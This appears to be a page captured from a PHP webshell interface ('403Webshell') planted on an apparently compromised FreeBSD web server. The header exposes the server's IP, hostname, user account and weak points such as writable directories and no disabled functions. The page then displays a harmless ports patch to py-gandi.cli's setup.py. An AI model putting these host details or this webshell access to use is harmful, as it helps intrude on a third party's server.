403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/www/py-gandi.cli/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/www/py-gandi.cli/files/patch-setup.py
--- setup.py.orig	2019-01-13 14:15:14 UTC
+++ setup.py
@@ -5,14 +5,15 @@ import re
 import os
 import sys
 
+from io import open
+
 from setuptools import setup, find_packages
 from setuptools.command.test import test as TestCommand
 
 here = os.path.abspath(os.path.dirname(__file__))
-README = open(os.path.join(here, 'README.md')).read()
-CHANGES = open(os.path.join(here, 'CHANGES.rst')).read()
+README = open(os.path.join(here, 'README.md'), encoding='utf-8').read()
+CHANGES = open(os.path.join(here, 'CHANGES.rst'), encoding='utf-8').read()
 
-
 class PyTest(TestCommand):
     user_options = [('pytest-args=', 'a', "Arguments to pass into py.test")]
 
@@ -43,8 +44,10 @@ with open(os.path.join(here, 'gandi', 'cli', '__init__
 
 requires = ['setuptools', 'pyyaml', 'click>=7.0', 'requests', 'IPy']
 
-tests_require = ['pytest', 'pytest-cov', 'tox']
+tests_require = ['pytest']
 
+dev_requires = ['pytest-cov', 'tox']
+
 if sys.version_info < (3, 0):
     tests_require += ['mock']
 else:
@@ -54,7 +57,7 @@ else:
             " (sys.version: {})".format(sys.version))
 
 extras_require = {
-    'test': tests_require,
+    'dev': dev_requires,
 }
 
 setup(name='gandi.cli',

Youez - 2016 - github.com/yon3zu
LinuXploit